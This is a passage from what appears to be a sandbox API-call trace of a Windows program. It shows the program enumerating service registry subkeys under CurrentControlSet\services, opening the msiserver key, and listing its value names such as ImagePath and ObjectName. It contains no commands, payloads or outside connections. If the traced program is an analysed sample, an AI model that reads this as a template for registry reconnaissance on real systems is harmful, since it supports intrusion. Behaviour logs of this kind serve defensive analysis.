lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0249.428] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0249.429] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0249.430] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0249.431] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0249.432] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0249.433] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0249.434] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0249.435] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0249.436] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0249.437] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0249.437] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0249.437] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.437] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0249.437] RegCloseKey (hKey=0x154) returned 0x0 [0249.437] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.437] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.437] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.437] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.437] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.437] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.437] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.437] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.438] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.438] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.438] RegCloseKey (hKey=0xc4) returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.438] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.439] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.439] RegCloseKey (hKey=0x154) returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.439] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.440] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.440] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, 